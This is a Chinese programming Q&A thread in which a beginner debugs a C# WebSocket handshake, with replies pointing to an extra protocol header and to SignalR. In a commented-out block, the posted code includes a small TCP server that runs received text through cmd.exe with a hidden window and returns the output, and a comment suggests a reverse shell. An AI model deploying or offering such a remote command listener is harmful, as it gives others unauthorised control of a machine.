首页新闻找找看学习计划

webscoket 握手不成功,求教!求大神指点!

0
悬赏园豆:100 [已关闭问题] 关闭于 2017-11-28 16:15

握手不成功,是从博客园里找的,希望大家给点提示,帮忙修改一下,急用,谢谢了!

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Text.RegularExpressions;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using System.Security.Cryptography;
using System.IO;
using SuperSocket.WebSocket;

namespace ConsoleService
{
class Program
{
static AutoResetEvent allDone = new AutoResetEvent(false);

static void Main(string[] args)
{
IPEndPoint localEP = new IPEndPoint(IPAddress.Parse("127.0.0.1"), 40001);

Console.WriteLine("Local address and port : {0}", localEP.ToString());

Socket listener = new Socket(localEP.Address.AddressFamily,
SocketType.Stream, ProtocolType.Tcp);

try
{
listener.Bind(localEP);
listener.Listen(500);


while (true)
{
Socket sc = listener.Accept();
if (sc != null)
{
StateObject state = new StateObject();
state.workSocket = sc;
Console.WriteLine("Waiting for a connection...");
sc.BeginReceive(state.buffer, 0, StateObject.BufferSize, 0, new AsyncCallback(ReceiveCallback), state);

allDone.WaitOne();
}
}
}
catch (Exception e)
{
Console.WriteLine(e.ToString());
}

Console.WriteLine("Closing the listener...");
}

static void ReceiveCallback(IAsyncResult ar)
{
try
{
// Retrieve the state object and the client socket
// from the asynchronous state object.
StateObject state = (StateObject)ar.AsyncState;
Socket client = state.workSocket;
Console.WriteLine("接收自:" + state.workSocket.RemoteEndPoint.ToString());

// Read data from the remote device.
int bytesRead = client.EndReceive(ar);
allDone.Set();

if (bytesRead > 0)
{
System.Text.UTF8Encoding decoder = new System.Text.UTF8Encoding();
string browser = decoder.GetString(state.buffer, 0, bytesRead);
Console.WriteLine(browser);

string key = string.Empty;

Regex r = new Regex(@"Sec\-WebSocket\-Key:(.*?)\r\n"); //查找"Abc"
Match m = r.Match(browser); //设定要查找的字符串
if (m.Groups.Count != 0)
{
key = Regex.Replace(m.Value, @"Sec\-WebSocket\-Key:(.*?)\r\n", "$1").Trim();
}
Console.WriteLine("获取的客户端的KEY:" + key);

string secKeyAccept = Convert.ToBase64String(SHA1.Create().ComputeHash(Encoding.ASCII.GetBytes(key + "258EAFA5-E914-47DA-95CA-C5AB0DC85B11")));
Console.WriteLine("服务器端生成的KEY:" + secKeyAccept);

var responseBuilder = new StringBuilder();

responseBuilder.Append("HTTP/1.1 101 Switching Protocols" + Environment.NewLine);
responseBuilder.Append("Upgrade: websocket" + Environment.NewLine);
responseBuilder.Append("Connection: Upgrade" + Environment.NewLine);
responseBuilder.Append("Sec-WebSocket-Accept: " + secKeyAccept + Environment.NewLine);
responseBuilder.Append("Sec-WebSocket-Protocol: chat" + Environment.NewLine );
responseBuilder.Append( Environment.NewLine);


Console.WriteLine("服务器端欲发送信息:\r\n" + responseBuilder.ToString());

byte[] HandshakeText = Encoding.UTF8.GetBytes(responseBuilder.ToString());


state.workSocket.BeginSend(HandshakeText, 0, HandshakeText.Length, 0, new AsyncCallback(SendCallback), state);

}
}

catch (Exception e)
{
Console.WriteLine(e.ToString());
}
}

static void SendCallback(IAsyncResult ar)
{
StateObject state = (StateObject)ar.AsyncState;
Socket client = state.workSocket;
client.EndSend(ar);

Console.WriteLine("发送至:" + state.workSocket.RemoteEndPoint.ToString() + " 结束。");
Console.WriteLine("本应该握手成功的?!");


//byte[] msg = Encoding.UTF8.GetBytes("hello");
//state.workSocket.Send(msg);
}

}
public class StateObject
{
public Socket workSocket = null;
public const int BufferSize = 1024;
public byte[] buffer = new byte[BufferSize];
public StringBuilder sb = new StringBuilder();
}
}
*/


/*using System;
using System.Collections.Generic;
using System.Net;
using System.Net.Sockets;
using System.Text;

namespace Server
{
class Program
{
static void Main(string[] args)
{
Socket server = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
IPEndPoint point = new IPEndPoint(IPAddress.Parse("127.0.0.1"), 55555);

try
{
server.Bind(point);
server.Listen(10);
//监听本地端口
System.Console.WriteLine("开始监听本地端口:55555");
while (true)
{
Socket sock = server.Accept();
byte[] buffer = new byte[1024 * 1024];
int n = sock.Receive(buffer);
String cmd = Encoding.UTF8.GetString(buffer, 0, n);
String result = execCmd(cmd);
byte[] bytes = Encoding.UTF8.GetBytes(result);
sock.Send(bytes);
}


}
catch (Exception ex)
{
System.Console.WriteLine(ex.Message);
return;
}
}

//重定向输入输出流,并且用cmd执行命令
private static String execCmd(String cmd)
{
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo = new System.Diagnostics.ProcessStartInfo();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + cmd;
//隐藏程序外壳
p.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
//在这里重定向输出即可,因为不是交互式的,如果需要交互式的直接反弹cmd即可
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.CreateNoWindow = true;
p.Start();
return p.StandardOutput.ReadToEnd();
}
}
}

问题补充:

HTML代码

 

<html>
<head>
<meta charset="UTF-8">
<title>Web sockets test</title>
<script src="jquery-min.js" type="text/javascript"></script>
<script type="text/javascript">
var ws;

function ToggleConnectionClicked() {
try {
ws = new WebSocket("ws://127.0.0.1:40001/chat");

ws.onopen = function(event){alert("连接已经建立:"+this.readyState);};
ws.onmessage = function(event){alert("接收到的数据:"+event.data);
console.log(event)};
ws.onclose = function(event){alert("断开,信息:"+this.readyState);};
ws.onerror = function(event){alert("错误"+event.message);};
} catch (ex) {
alert(ex.message);
}
//document.getElementById("ToggleConnection").innerHTML = "断开";
};

function SendData() {
try{
ws.send("hello");
}catch(ex){
alert(ex.message);
}
};

function close() {
try{
ws.close();
ws=null;
}catch(ex){
alert(ex.message);
}
};

function seestate(){
alert(ws.readyState);
}

</script>
</head>
<body>
<button id='ToggleConnection' type="button" onclick='ToggleConnectionClicked();'>连接</button><br />
<button id='ToggleConnection' type="button" onclick='SendData();'>发送</button><br />
<button id='ToggleConnection' type="button" onclick='close();'>断开</button><br />
<button id='ToggleConnection' type="button" onclick='seestate();'>状态</button><br />
</body>
</html>

啧啧啧111的主页 啧啧啧111 | 初学一级 | 园豆:61
提问于:2016-09-25 13:20
< >
分享
所有回答(5)
0

把你的代码执行了一遍

浏览器控制台显示

WebSocket connection to 'ws://127.0.0.1:40001/chat' failed: Error during WebSocket handshake: Response must not include 'Sec-WebSocket-Protocol' header if not present in request: chat

然后把 responseBuilder.Append("Sec-WebSocket-Protocol: chat" + Environment.NewLine);注释掉,提示:已经建立连接:1

不知道你要什么效果

 

~冰 | 园豆:497 (菜鸟二级) | 2016-09-25 15:48

 这有篇博文,成功运行,你自己研究下吧

http://www.cnblogs.com/xiaoyaoguzhu/archive/2011/12/23/2299069.html

支持(0) 反对(0) ~冰 | 园豆:497 (菜鸟二级) | 2016-09-25 16:24

我想写成功一个webscoket的协议,然后之后可以用,并且协议是通过验证客户端信息才可以达成的,不知道怎么写,你如果有完整的可以给我一份吗?写游戏的时候需要用的,谢谢

支持(0) 反对(0) 啧啧啧111 | 园豆:61 (初学一级) | 2016-09-25 17:34

刚刚你说的那个我试了,是那样显示,但是不对,握手成功之后不就可以两边一起发信息了吗,进行一些信息交互什么的,还有就是可以多个客户端同时连接服务端,但是现在这个还不行。

支持(0) 反对(0) 啧啧啧111 | 园豆:61 (初学一级) | 2016-09-25 17:37

@gnib: 刚刚那个博文,我没有找到写服务器地址的地方 ,在哪设置呢?怎么和客户端的地址匹配,由于我是刚接触这个东西,小白什么都不懂,求指教!

支持(0) 反对(0) 啧啧啧111 | 园豆:61 (初学一级) | 2016-09-25 17:52

@啧啧啧111: 教你个笨点的方法,服务端运行的时候,打个断点,看看执行流程,你会发现ip和端口的

支持(0) 反对(0) ~冰 | 园豆:497 (菜鸟二级) | 2016-09-27 12:47

@gnib: 这个开了客户端也不能连接成功,不知道为什么会这样,实现不了聊天室的功能

支持(0) 反对(0) 啧啧啧111 | 园豆:61 (初学一级) | 2016-09-27 17:22
0

你不会插入代码吗,一堆文本没兴趣看。有问题还是stackoverflow专业。

WebSocket Demo 这有一个http://stackoverflow.com/questions/10200910/create-hello-world-websocket-example

这个问题已经修改过,问题里的代码就是可以运行的Demo,你自行研究吧。

咸鱼.net | 园豆:216 (菜鸟二级) | 2016-09-26 17:46

这个是只有一个用户的吧,我想找那种可以登录好几个客户端,互相之间通话的,我有一个简单的demo,现在就是想找客户端和服务端连接的时候的协议,满足条件才可以连接,你有完整的代码吗?谢谢,我刚从事这个,还不是很懂,都是从网上找的、

支持(1) 反对(0) 啧啧啧111 | 园豆:61 (初学一级) | 2016-09-26 19:02
0

回楼主的   底层的自己不要研究了  直接用signalR 啊   http://www.asp.net/signalr   好用的很 保证你不后悔  

奶茶爽歪歪 | 园豆:243 (菜鸟二级) | 2016-09-28 17:07

一点网址跳转到广告页面了,什么地方被劫持了?

支持(0) 反对(0) 浴子风 | 园豆:471 (菜鸟二级) | 2016-09-30 17:02
0

解决方法:

1、搞清楚Socket原理

2、搞清楚协议加密

3、搞不定重复以上2条。

PS:相信一个过来人的经验。

醉卧天南 | 园豆:369 (菜鸟二级) | 2016-10-04 19:32
0

441222

啧啧啧111 | 园豆:61 (初学一级) | 2017-11-28 15:43
清除回答草稿
   您需要登录以后才能回答,未注册用户请先注册